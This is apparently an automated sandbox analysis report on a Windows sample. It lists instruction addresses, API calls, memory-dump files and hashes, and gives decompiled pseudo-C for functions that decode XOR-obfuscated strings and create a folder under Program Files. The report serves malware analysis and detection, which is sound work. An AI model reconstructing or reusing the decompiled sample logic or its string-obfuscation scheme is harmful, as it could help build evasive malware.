0x0097c62a
0x0097c632
0x0097c63e
0x0097c64a
0x0097c656
0x0097c661
0x0097c66b
0x0097c67d
0x0097c683
0x0097c68e
0x0097c698
0x0097c6aa
0x0097c6b0
0x0097c6bb
0x0097c6c5
0x0097c6d7
0x0097c6dd
0x0097c6e8
0x0097c6f2
0x0097c704
0x0097c70a
0x0097c716
0x0097c722
0x0097c72d
0x0097c734
0x0097c73c
0x0097c743
0x0097c74b
0x0097c752
0x0097c75a
0x0097c761
0x0097c766
0x0097c772
0x0097c778
0x0097c77c
0x0097c789
0x0097c78c
0x0097c793
0x0097c79a
0x0097c7a2
0x0097c7a9
0x0097c7b6
0x0097c7c2
0x0097c7c8
0x0097c7cc
0x0097c7d9
0x0097c7dc
0x0097c7e3
0x0097c7ea
0x0097c7f2
0x0097c7f9
0x0097c806
0x0097c80f
0x0097c81b
0x0097c827
0x0097c833
0x0097c83e
0x0097c848
0x0097c85a
0x0097c860
0x0097c86b
0x0097c875
0x0097c887
0x0097c88d
0x0097c899
0x0097c8a4
0x0097c8ab
0x0097c8b3
0x0097c8ba
0x0097c8bf
0x0097c8cb
0x0097c8d1
0x0097c8d5
0x0097c8e2
0x0097c8e5
0x0097c8ec
0x0097c8f3
0x0097c8fb
0x0097c902
0x0097c90f
0x0097c918
0x0097c929
0x0097c938
0x0097c944
0x0097c94a
0x0097c954
0x0097c95a
0x0097c95f
0x0097c962
0x0097c967
0x0097c96a
0x0097c96f
0x0097c975
0x0097c981
0x0097c989
0x0097c990
0x0097c999
0x0097c99e
0x0097c9a2
0x0097c9a7
0x0097c9ae
0x0097c9bb
0x0097c9c3
0x0097c9cd
0x0097c9e5
0x0097c9eb
0x0097c9f3
0x0097c9fd
0x0097ca03
0x0097ca0d
0x0097ca21
0x0097ca27
0x0097ca2f
0x0097ca39
0x0097ca57
0x0097ca5c
0x0097ca5f
0x0097ca65
0x0097ca83
0x0097ca85
0x0097ca8b
0x0097ca9d
0x0097caa3
0x0097cab2
0x0097cab8
0x0097caca
0x0097cad0
0x0097cad6
0x0097cad8
0x0097cadd
0x0097caed
0x0097caf3
0x0097caf7
0x0097cafc
0x0097cb0e
0x0097cb14
0x0097cb1b
0x0097cb1c
0x0097cb21
0x0097cb27
0x0097cb33
0x0097cb3f
0x0097cb3f
0x0097cb42
0x0097cb48
0x0097cb50
0x0097cb56
0x0097cb5d
0x0097cb5d
0x0097cb72
0x0097cb7e
0x0097cb8a
0x0097cba9
0x0097cbb5
0x0097cbc8
0x0097cbd6
0x0097cbe2
0x0097cbe9
0x0097cbea
0x0097cbf4
0x0097cbf9
0x0097cbfd
0x0097cc03
0x0097cc0d
0x0097cc0d
0x0097cc12
0x0097cc18
0x0097cc18
0x0097cc18
0x0097cc19
0x0097cc1b
0x0097cc38
0x0097cc47
0x0097cc56
0x0097cc65
0x0097cc74
0x0097cc80
0x0097cc80
0x0097cc82
0x0097cc1d
0x0097cc26
0x0097cc2b
0x0097cc2b
0x0097cc8c
0x0097cc92
0x0097cc99
0x0097cfdc
0x0097cfe1
0x0097cfe1
0x0097cfe6
0x0097cfec
0x0097cfec
0x0097cfec
0x0097cfed
0x0097cfef
0x0097d00c
0x0097d01b
0x0097d02a
0x0097d039
0x0097d048
0x0097d054
0x0097d056
0x0097cff1
0x0097cffa
0x0097cfff
0x0097cfff
0x0097d05d
0x0097d064
0x0097d069
0x0097d073
0x0097d078
0x0097d082
0x0097d087
0x0097d091
0x0097bee8
0x0097bee8
0x0097beeb
0x00000000
0x0097cc9f
0x0097cca3
0x0097cca9
0x0097ccae
0x0097ccb2
0x0097cccd
0x0097ccd0
0x0097ccdc
0x0097cce2
0x00000000
0x00000000
0x0097cce8
0x0097ccef
0x0097ccf6
0x0097cd02
0x0097cd02
0x0097cd08
0x0097cd0e
0x0097cd0e
0x0097cd0e
0x0097cd0f
0x0097cd11
0x0097cd1b
0x0097cd1b
0x0097cd1d
0x0097cd27
0x0097cd27
0x0097cd32
0x0097cd32
0x0097cd37
0x0097cd3d
0x0097cd3d
0x0097cd3d
0x0097cd3e
0x0097cd40
0x0097cd5d
0x0097cd6c
0x0097cd7b
0x0097cd8a
0x0097cd99
0x0097cda5
0x0097cda5
0x0097cda7
0x0097cd42
0x0097cd4b
0x0097cd50
0x0097cd50
0x0097cdae
0x0097cdb3
0x0097cdb6
0x0097cdbb
0x0097cdbe
0x0097cdc3
0x0097cdc9
0x0097cdd5
0x0097cde4
0x0097cde7
0x0097cded
0x0097cdf2
0x0097cdf6
0x0097ce03
0x0097ce0a
0x0097ce12
0x0097ce17
0x0097ce1c
0x0097ce1f
0x0097ce25
0x0097ce31
0x0097ce3d
0x0097ce49
0x0097ce4f
0x0097ce55
0x0097ce59
0x0097ce67
0x0097ce5b
0x0097ce5b
0x0097ce5b
0x0097ce77
0x0097ce84
0x0097ce86
0x0097ce90
0x0097ce9c
0x0097ce9c
0x0097cea8
0x0097ceba
0x0097cec8
0x0097ced5
0x0097cee2
0x0097cef2
0x0097cefe
0x0097cefe
0x0097cf04
0x0097cf0a
0x0097cf0a
0x0097cf0a
0x0097cf0b
0x0097cf0d
0x0097cf17
0x0097cf19
0x0097cf23
0x0097cf23
0x0097ccc4
0x0097ccc4
0x0097ccc7
0x0097ccc7
0x0097cf2e
0x0097cf31
0x0097cf37
0x0097cf3e
0x0097cfcd
0x0097cfd1
0x0097cfd7
0x00000000
0x0097cf44
0x0097cf4e
0x0097cf5c
0x0097cf62
0x0097cf6c
0x0097cf71
0x0097cf78
0x0097cf7d
0x0097cf87
0x0097cf8c
0x0097cf96
0x0097cf9b
0x0097cfa5
0x0097cfaa
0x0097cfb1
0x0097cfb6
0x0097cfc0
0x0097cfc5
0x0097cfc5
0x0097cf3e
0x0097d0d5
0x0097d0d8
0x0097d0e0
0x0097d0e1
0x0097d0e5
0x0097d0f2
0x0097d0f2
0x0097d0a3
0x0097d0ae
0x0097d0ae
0x0097d0b1
0x0097d0b7
0x0097d0be
0x0097d0c3
0x0097d0cd
0x0097d0d2
0x00000000

APIs

Part of subcall function 00972730: __aulldiv.LIBCMT ref: 009727B2

__aulldiv.LIBCMT ref: 0097BFDF

Strings

+++++++++++++++++++++++++++++++++++++++++++++++++++++++, xrefs: 0097C090, 0097C156, 0097C30A, 0097CC21, 0097CD46, 0097CFF5
Content-Type: application/x-www-form-urlencoded, xrefs: 0097CAE3
5a(|, xrefs: 0097C72D
[Z, xrefs: 0097C65C
5a(|, xrefs: 0097C8A4
5a(|, xrefs: 0097C488

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: __aulldiv
String ID: +++++++++++++++++++++++++++++++++++++++++++++++++++++++$5a(|$5a(|$5a(|$Content-Type: application/x-www-form-urlencoded$[Z
API String ID: 3732870572-3289558975
Opcode ID: 5db53711a945558580ba9503c925146cef8b731f75a9fbebf4a06bcfc70b9605
Instruction ID: aa39249e50cbd37e1f0aa3fbe610bda8ec861f4ef95dcc2dfc572562367aac97
Opcode Fuzzy Hash: 5db53711a945558580ba9503c925146cef8b731f75a9fbebf4a06bcfc70b9605
Instruction Fuzzy Hash: 35B268B1D056688BDB29CB28CC55BD9BBB1AF99300F1482EAE44DA7391DB305F81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00981180 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 327
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E00981180(void* __edi, void* __esi) {
				intOrPtr _v8;
				struct _SECURITY_ATTRIBUTES* _v16;
				char _v24;
				signed int _v32;
				char _v300;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				intOrPtr _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr _v348;
				char _v372;
				signed int _v376;
				char _v377;
				char _v378;
				char _v379;
				char _v380;
				signed char _v381;
				signed char _v382;
				char _v383;
				char _v384;
				char _v385;
				char _v386;
				char* _v392;
				char _v396;
				char _v400;
				char _v404;
				char _v408;
				signed char _v409;
				char _v416;
				char _v420;
				char _v424;
				char _v428;
				char* _v432;
				intOrPtr* _v436;
				void* _v440;
				struct _SECURITY_ATTRIBUTES* _v444;
				intOrPtr _v448;
				struct _SECURITY_ATTRIBUTES* _v452;
				CHAR* _v456;
				intOrPtr _v460;
				intOrPtr _v464;
				intOrPtr _v468;
				intOrPtr _v472;
				intOrPtr _v476;
				intOrPtr _v480;
				intOrPtr _v484;
				intOrPtr _v488;
				CHAR* _v492;
				CHAR* _v496;
				intOrPtr _v500;
				intOrPtr _v504;
				intOrPtr _v508;
				intOrPtr _v512;
				char _v516;
				intOrPtr _v520;
				intOrPtr _v524;
				intOrPtr _v528;
				char _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				intOrPtr _v604;
				intOrPtr _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				char _v620;
				char _v788;
				char _v812;
				char _v836;
				void* __ebx;
				signed int _t194;
				signed int _t195;
				char* _t197;
				signed int _t199;
				signed char _t219;
				int _t245;
				void* _t249;
				void* _t331;
				void* _t335;
				signed int _t338;

				_t330 = __esi;
				_t329 = __edi;
				_t249 = _t335;
				_t338 = (_t335 - 0x00000008 & 0xfffffff0) + 4;
				_v8 =  *((intOrPtr*)(_t249 + 4));
				_t333 = _t338;
				_t194 =  *0x9d2008; // 0x9fef24bf
				_t195 = _t194 ^ _t338;
				_v32 = _t195;
				 *[fs:0x0] =  &_v24;
				_v376 = 0;
				_t197 =  &_v300;
				__imp__SHGetSpecialFolderPathA(0, _t197, 0x26, 0, _t195, _t249,  *[fs:0x0], 0x9c5161, 0xffffffff, _t331); // executed
				if(_t197 == 0) {
					L17:
					E00971810( *(_t249 + 8), 0x9ccdc6);
					_v376 = _v376 | 0x00000001;
					_t199 =  *(_t249 + 8);
					L18:
					 *[fs:0x0] = _v24;
					return E009AC2E8(_t199, _t249, _v32 ^ _t333, _t299, _t329, _t330);
				}
				_v377 = 0;
				_v378 = 0;
				_v379 = 0;
				_v396 = _v377;
				_v400 = _v378;
				_v404 = _v379;
				_v516 = 0xb473169;
				_v512 = 0xe42a4148;
				_v588 = _v516;
				_v584 = _v512;
				_v524 = 0xe68b9b54;
				_v520 = 0xc7f67800;
				_v580 = _v524;
				_v576 = _v520;
				_v432 =  &_v588;
				_v348 = 0x7c286135;
				_v344 = 0x8b69332d;
				_v340 = 0x89f9ef3a;
				_v336 = 0xc7f6786c;
				_v380 = 0;
				_v408 = _v380;
				asm("movaps xmm0, [ebp-0x150]");
				asm("movaps [ebp-0x2e0], xmm0");
				asm("movups xmm0, [eax]");
				asm("movaps [ebp-0x2b0], xmm0");
				asm("movaps xmm0, [ebp-0x2b0]");
				asm("pxor xmm0, [ebp-0x2e0]");
				asm("movaps [ebp-0x270], xmm0");
				asm("movaps xmm0, [ebp-0x270]");
				asm("movups [ecx], xmm0");
				_v464 = _v432;
				_v468 = E00971810( &_v812, _v464);
				_v572 = _v468;
				_v16 = 0;
				_v568 = _v572;
				_v564 = E00971810( &_v788,  &_v300);
				_v560 = _v564;
				_v16 = 1;
				_v472 = _v560;
				E0098B240(_t249,  &_v372, __edi, __esi, _v409 & 0x000000ff, _v472, _v568);
				_v376 = _v376 | 0x00000002;
				_v16 = 3;
				E00971AB0( &_v788);
				_v16 = 4;
				E00971AB0( &_v812);
				_v436 =  &_v372;
				_v448 = _v436;
				if( *((intOrPtr*)(_v436 + 0x14)) < 0x10) {
					_v444 = 0;
				} else {
					_v444 = 1;
				}
				_v381 = _v444;
				if((_v381 & 0x000000ff) != 0) {
					_v476 =  *_v436;
					_v448 = _v476;
				}
				_v480 = _v448;
				_v484 = _v480;
				_t219 = E009738D0(_v484); // executed
				if((_t219 & 0x000000ff) != 0) {
					L13:
					if(( *(_t249 + 0xc) & 0x000000ff) != 0) {
						_v383 = 0;
						_v384 = 0;
						_v386 = 0;
						_v416 = _v383;
						_v420 = _v384;
						_v424 = _v386;
						_v532 = 0xb473169;
						_v528 = 0xe42a4148;
						_v620 = _v532;
						_v616 = _v528;
						_v540 = 0xe68b9b54;
						_v536 = 0xb1a52700;
						_v612 = _v540;
						_v608 = _v536;
						_v548 = 0xee863e54;
						_v544 = 0x28cb508a;
						_v604 = _v548;
						_v600 = _v544;
						_v556 = 0xd5ea598c;
						_v552 = 0x4e4a8626;
						_v596 = _v556;
						_v592 = _v552;
						_v392 =  &_v620;
						_v332 = 0x7c286135;
						_v328 = 0x8b69332d;
						_v324 = 0x89f9ef3a;
						_v320 = 0xc7f6786c;
						_v316 = 0x96e31037;
						_v312 = 0x28cb50ef;
						_v308 = 0xd5ea598c;
						_v304 = 0x4e4a8626;
						_v385 = 0;
						_v428 = _v385;
						asm("movaps xmm0, [ebp-0x140]");
						asm("movaps [ebp-0x280], xmm0");
						asm("movups xmm0, [ecx]");
						asm("movaps [ebp-0x2d0], xmm0");
						asm("movaps xmm0, [ebp-0x2d0]");
						asm("pxor xmm0, [ebp-0x280]");
						asm("movaps [ebp-0x290], xmm0");
						asm("movaps xmm0, [ebp-0x290]");
						asm("movups [edx], xmm0");
						_v460 = _v392 + 0x10;
						asm("movaps xmm0, [ebp-0x130]");
						asm("movaps [ebp-0x2f0], xmm0");
						asm("movups xmm0, [ecx]");
						asm("movaps [ebp-0x2a0], xmm0");
						asm("movaps xmm0, [ebp-0x2a0]");
						asm("pxor xmm0, [ebp-0x2f0]");
						asm("movaps [ebp-0x2c0], xmm0");
						asm("movaps xmm0, [ebp-0x2c0]");
						asm("movups [edx], xmm0");
						_v500 = _v392;
						_v504 = E00971810( &_v836, _v500);
						_v508 = _v504;
						_v16 = 5;
						_t299 =  *(_t249 + 8);
						E00988E30(_t249, _t329, _t330,  *(_t249 + 8),  &_v372, _v508);
						_v376 = _v376 | 0x00000001;
						_v16 = 4;
						E00971AB0( &_v836);
						_v16 = 0xffffffff;
						E00971AB0( &_v372);
						_t199 =  *(_t249 + 8);
					} else {
						E00986C20( *(_t249 + 8),  &_v372);
						_t299 = _v376 | 0x00000001;
						_v376 = _v376 | 0x00000001;
						_v16 = 0xffffffff;
						E00971AB0( &_v372);
						_t199 =  *(_t249 + 8);
					}
					goto L18;
				} else {
					_v440 =  &_v372;
					_v456 = _v440;
					if( *((intOrPtr*)(_v440 + 0x14)) < 0x10) {
						_v452 = 0;
					} else {
						_v452 = 1;
					}
					_v382 = _v452;
					if((_v382 & 0x000000ff) != 0) {
						_v488 =  *_v440;
						_v456 = _v488;
					}
					_v492 = _v456;
					_v496 = _v492;
					_t299 = _v496;
					_t245 = CreateDirectoryA(_v496, 0); // executed
					if(_t245 == 0) {
						_v16 = 0xffffffff;
						E00971AB0( &_v372);
						goto L17;
					} else {
						goto L13;
					}
				}
			}

0x00981180
0x00981180
0x00981181
0x00981189
0x00981190
0x00981194
0x009811ab
0x009811b0
0x009811b2
0x009811b9
0x009811bf
0x009811cd
0x009811d6
0x009811de
0x009817d4
0x009817dc
0x009817ea
0x009817f0
0x009817f3
0x009817f6
0x0098180e
0x0098180e
0x009811e6
0x009811ee
0x009811f6
0x00981202
0x0098120e
0x0098121a
0x00981225
0x0098122f
0x00981241
0x00981247
0x00981252
0x0098125c
0x0098126e
0x00981274
0x00981280
0x0098128b
0x00981295
0x009812a0
0x009812aa
0x009812b2
0x009812be
0x009812c4
0x009812cb
0x009812d8
0x009812db
0x009812e2
0x009812e9
0x009812f1
0x009812f8
0x00981305
0x0098130e
0x00981326
0x00981332
0x00981338
0x00981345
0x0098135d
0x00981369
0x0098136f
0x00981379
0x0098139b
0x009813a9
0x009813af
0x009813b9
0x009813be
0x009813c8
0x009813d3
0x009813df
0x009813ef
0x009813fd
0x009813f1
0x009813f1
0x009813f1
0x0098140d
0x0098141c
0x00981426
0x00981432
0x00981432
0x0098143e
0x0098144a
0x00981457
0x00981464
0x00981504
0x0098150a
0x00981546
0x0098154e
0x00981556
0x00981562
0x0098156e
0x0098157a
0x00981585
0x0098158f
0x009815a1
0x009815a7
0x009815b2
0x009815bc
0x009815ce
0x009815d4
0x009815df
0x009815e9
0x009815fb
0x00981601
0x0098160c
0x00981616
0x00981628
0x0098162e
0x0098163a
0x00981645
0x0098164f
0x0098165a
0x00981664
0x0098166f
0x00981679
0x00981684
0x0098168e
0x00981696
0x009816a2
0x009816a8
0x009816af
0x009816bc
0x009816bf
0x009816c6
0x009816cd
0x009816d5
0x009816dc
0x009816e9
0x009816f5
0x009816fb
0x00981702
0x0098170f
0x00981712
0x00981719
0x00981720
0x00981728
0x0098172f
0x0098173c
0x00981745
0x0098175d
0x00981769
0x0098176f
0x00981781
0x00981785
0x00981796
0x0098179c
0x009817a6
0x009817ab
0x009817b8
0x009817bd
0x0098150c
0x00981516
0x00981521
0x00981524
0x0098152a
0x00981537
0x0098153c
0x0098153c
0x00000000
0x0098146a
0x00981470
0x0098147c
0x0098148c
0x0098149a
0x0098148e
0x0098148e
0x0098148e
0x009814aa
0x009814b9
0x009814c3
0x009814cf
0x009814cf
0x009814db
0x009814e7
0x009814ef
0x009814f6
0x009814fe
0x009817c2
0x009817cf
0x00000000
0x00000000
0x00000000
0x00000000
0x009814fe

APIs

SHGetSpecialFolderPathA.SHELL32(00000000,?,00000026,00000000,9FEF24BF), ref: 009811D6
CreateDirectoryA.KERNEL32(?,00000000,?), ref: 009814F6

Strings

HA*, xrefs: 00981580
HA*, xrefs: 00981220
5a(|, xrefs: 0098128B
5a(|, xrefs: 00981645

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: CreateDirectoryFolderPathSpecial
String ID: 5a(|$5a(|$HA*$HA*
API String ID: 2904043388-2092486041
Opcode ID: c8f3b36f2690f085c71be1b6fc6bf685152d30f6520a467f4c37e1f9b97c1fec
Instruction ID: 1902d00141f66a0d48e5c52ecbdef64a38acac8d2f69ff7abdb2ee02ae1d564b
Opcode Fuzzy Hash: c8f3b36f2690f085c71be1b6fc6bf685152d30f6520a467f4c37e1f9b97c1fec
Instruction Fuzzy Hash: A002AD749096A88BDB25CB28DC95BDABBB0AF59300F1482D9D84DA7251EB305FC5CF50

Uniqueness

Uniqueness Score: -1.00%

Function 009A61E0 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 482
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 54%

			E009A61E0(void* __eflags) {
				intOrPtr _v8;
				signed int _v16;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				char _v160;
				char _v164;
				signed int _v165;
				char* _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v180;
				char _v184;
				char _v188;
				char _v192;
				intOrPtr _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v212;
				intOrPtr _v216;
				intOrPtr _v220;
				intOrPtr _v224;
				intOrPtr _v228;
				signed int _v232;
				signed int _v236;
				intOrPtr _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				signed int _v256;
				signed int _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				signed int _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				signed int _v288;
				intOrPtr _v292;
				intOrPtr _v296;
				intOrPtr _v300;
				signed int _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				char _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				intOrPtr _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr _v348;
				intOrPtr _v352;
				intOrPtr _v356;
				intOrPtr _v360;
				intOrPtr _v364;
				intOrPtr _v368;
				intOrPtr _v372;
				intOrPtr _v376;
				intOrPtr _v380;
				intOrPtr _v384;
				intOrPtr _v388;
				intOrPtr _v392;
				intOrPtr _v396;
				intOrPtr _v400;
				intOrPtr _v404;
				intOrPtr _v408;
				intOrPtr _v412;
				intOrPtr _v416;
				intOrPtr _v420;
				intOrPtr _v424;
				intOrPtr _v428;
				intOrPtr _v432;
				intOrPtr _v436;
				intOrPtr _v448;
				intOrPtr _v452;
				intOrPtr _v456;
				intOrPtr _v460;
				intOrPtr _v464;
				intOrPtr _v468;
				intOrPtr _v472;
				intOrPtr _v476;
				intOrPtr _v480;
				intOrPtr _v484;
				intOrPtr _v488;
				intOrPtr _v492;
				intOrPtr _v496;
				intOrPtr _v500;
				intOrPtr _v504;
				intOrPtr _v508;
				intOrPtr _v512;
				intOrPtr _v516;
				intOrPtr _v520;
				intOrPtr _v524;
				intOrPtr _v528;
				intOrPtr _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				char _v572;
				intOrPtr _v576;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t246;
				signed int _t249;
				void* _t252;
				intOrPtr _t253;
				void* _t255;
				signed int _t259;
				intOrPtr _t262;
				intOrPtr _t308;
				signed int _t312;
				signed char _t314;
				void* _t317;
				signed int _t319;
				intOrPtr _t321;
				signed int _t324;
				signed int _t373;
				intOrPtr _t377;
				signed int _t380;
				void* _t418;
				void* _t421;
				void* _t422;
				void* _t430;
				void* _t435;
				signed int _t438;

				_t317 = _t435;
				_t438 = (_t435 - 0x00000008 & 0xfffffff0) + 4;
				_v8 =  *((intOrPtr*)(_t317 + 4));
				_t433 = _t438;
				_t246 =  *0x9d2008; // 0x9fef24bf
				_v16 = _t246 ^ _t438;
				_push(_t422);
				_push(_t418);
				_v164 = 0;
				_v160 = 0;
				_push( &_v164);
				_push( &_v160);
				_t372 =  *((intOrPtr*)(_t317 + 8));
				_push( *((intOrPtr*)(_t317 + 8))); // executed
				_t249 = E009A5640(_t418, _t422); // executed
				_v165 = _t249;
				if((_v165 & 0x000000ff) != 0) {
					_t319 =  *0x9d28e8; // 0x12
					_t373 =  *0x9d28ec; // 0x0
					_t374 = _t373 ^ 0x00000000;
					_t252 = E009C3280(E009C3280(_t319 ^ 0x00002dc7, _t373 ^ 0x00000000, 0xbb8, 0), _t373 ^ 0x00000000, 5, 0);
					asm("adc edi, 0x0");
					_t253 =  *0x9d28e4; // 0x0
					_t321 =  *0x9d28e0; // 0xd971
					_t255 = E009C3300(E009C3280(_t321, _t253, 0x2dc7, 0), _t373 ^ 0x00000000, 0x13, 0);
					asm("adc edi, edx");
					asm("adc edi, 0x0");
					_v228 = E009A49F0(__eflags, _t252 + 0x0000dea8 + _t255 + 0x00000bb8 ^ 0x00000013, _t374 ^ 0x00000000);
					_v236 = 0x20be381;
					_v232 = 0;
					_v260 = _v236 ^ 0x00000013;
					_v256 = _v232 ^ 0x00000000;
					_v244 = 0x13;
					_v240 = 0;
					_t259 =  *0x9d28e8; // 0x12
					_t324 =  *0x9d28ec; // 0x0
					_v252 = E009C3280(_t259 ^ 0x00002dc7, _t324 ^ 0x00000000, 5, 0);
					_v248 = 0;
					_t377 =  *0x9d28e4; // 0x0
					_t262 =  *0x9d28e0; // 0xd971
					_v268 = E009C3300(E009C3280(_t262, _t377, 0x2dc7, 0), _t377, 0x13, 0);
					_v264 = _t377;
					asm("adc edx, eax");
					asm("adc edx, 0x0");
					_v284 = _v244 + _v252 + 1;
					_v280 = _v240;
					asm("sbb edx, eax");
					_v276 = _v260 - _v268;
					_v272 = _v256;
					_t380 = _v272;
					_v292 = E009C3300(_v276, _t380, _v284, _v280);
					_v288 = _t380;
					_v300 =  *((intOrPtr*)(_t317 + 0x18));
					_v296 = 0;
					_v308 = _v292;
					_v304 = _v288;
					__eflags = _v296 - _v304;
					if(__eflags >= 0) {
						if(__eflags > 0) {
							L5:
							_v228 =  *((intOrPtr*)(_t317 + 0x18));
						} else {
							__eflags = _v300 - _v308;
							if(_v300 > _v308) {
								goto L5;
							}
						}
					}
					__eflags =  *((intOrPtr*)(_t317 + 0x14));
					if( *((intOrPtr*)(_t317 + 0x14)) == 0) {
						_v173 = 0;
						_v174 = 0;
						_v175 = 0;
						_v180 = _v173;
						_v184 = _v174;
						_v188 = _v175;
						_v316 = 0x6e2df96a;
						_v312 = 0x2ce2807a;
						_v572 = _v316;
						_v568 = _v312;
						_v324 = 0x23233a5d;
						_v320 = 0x12c4c79f;
						_v564 = _v324;
						_v560 = _v320;
						_v332 = 0x6373dbc5;
						_v328 = 0x84b8b638;
						_v556 = _v332;
						_v552 = _v328;
						_v340 = 0xa65c99ab;
						_v336 = 0x8369780a;
						_v548 = _v340;
						_v544 = _v336;
						_v348 = 0xcd4db425;
						_v344 = 0xf506d502;
						_v540 = _v348;
						_v536 = _v344;
						_v356 = 0x4735b425;
						_v352 = 0x13ec09d3;
						_v532 = _v356;
						_v528 = _v352;
						_v364 = 0x9e0451c0;
						_v360 = 0xcb5e3db0;
						_v524 = _v364;
						_v520 = _v360;
						_v372 = 0x2e1c1c29;
						_v368 = 0x123d05dd;
						_v516 = _v372;
						_v512 = _v368;
						_v380 = 0xee95a19b;
						_v376 = 0x1f2f11ae;
						_v508 = _v380;
						_v504 = _v376;
						_v388 = 0xd4ab62d5;
						_v384 = 0xf525e2ec;
						_v500 = _v388;
						_v496 = _v384;
						_v396 = 0xa853b269;
						_v392 = 0x89e0161f;
						_v492 = _v396;
						_v488 = _v392;
						_v404 = 0xcc6ab5b5;
						_v400 = 0x8ac09bc7;
						_v484 = _v404;
						_v480 = _v400;
						_v412 = 0xb024298a;
						_v408 = 0x8a37a443;
						_v476 = _v412;
						_v472 = _v408;
						_v420 = 0x41adaa12;
						_v416 = 0x863a98f4;
						_v468 = _v420;
						_v464 = _v416;
						_v428 = 0xde86c3c3;
						_v424 = 0x811c1b9c;
						_v460 = _v428;
						_v456 = _v424;
						_v436 = 0x718de8c6;
						_v432 = 0xc07c8a55;
						_v452 = _v436;
						_v448 = _v432;
						_v172 =  &_v572;
						_v196 = _v576;
						_v156 = 0x7579627;
						_v152 = 0x383ec16;
						_v148 = 0x3131468;
						_v144 = 0x7cad90b7;
						_v140 = 0x1004b4a1;
						_v136 = 0xa4ecf818;
						_v132 = 0x9672a99a;
						_v128 = 0xea3e5831;
						_v124 = 0xf679824b;
						_v120 = 0xc130ad22;
						_v116 = 0x3774940c;
						_v112 = 0x448965a3;
						_v108 = 0xf74f33a5;
						_v104 = 0xf86b12c4;
						_v100 = 0x182f321e;
						_v96 = 0x5a762dfd;
						_v92 = 0xc2d9eccf;
						_v88 = 0x74467d8e;
						_v84 = 0xb1ec42b0;
						_v80 = 0xdc4a898f;
						_v76 = 0xda3bf149;
						_v72 = 0xa6857b70;
						_v68 = 0xfc448182;
						_v64 = 0xb8f7a8e9;
						_v60 = 0x861507b3;
						_v56 = 0xeb64847a;
						_v52 = 0x28dfcb74;
						_v48 = 0xb109addb;
						_v44 = 0xdeb0f0ed;
						_v40 = 0x811c1b9c;
						_v36 = 0x718de8c6;
						_v32 = 0xc07c8a55;
						_v176 = 0;
						_v192 = _v176;
						asm("movaps xmm0, [ebp-0x90]");
						asm("movaps [ebp-0x260], xmm0");
						asm("movups xmm0, [ecx]");
						asm("movaps [ebp-0x250], xmm0");
						asm("movaps xmm0, [ebp-0x250]");
						asm("pxor xmm0, [ebp-0x260]");
						asm("movaps [ebp-0x270], xmm0");
						asm("movaps xmm0, [ebp-0x270]");
						asm("movups [edx], xmm0");
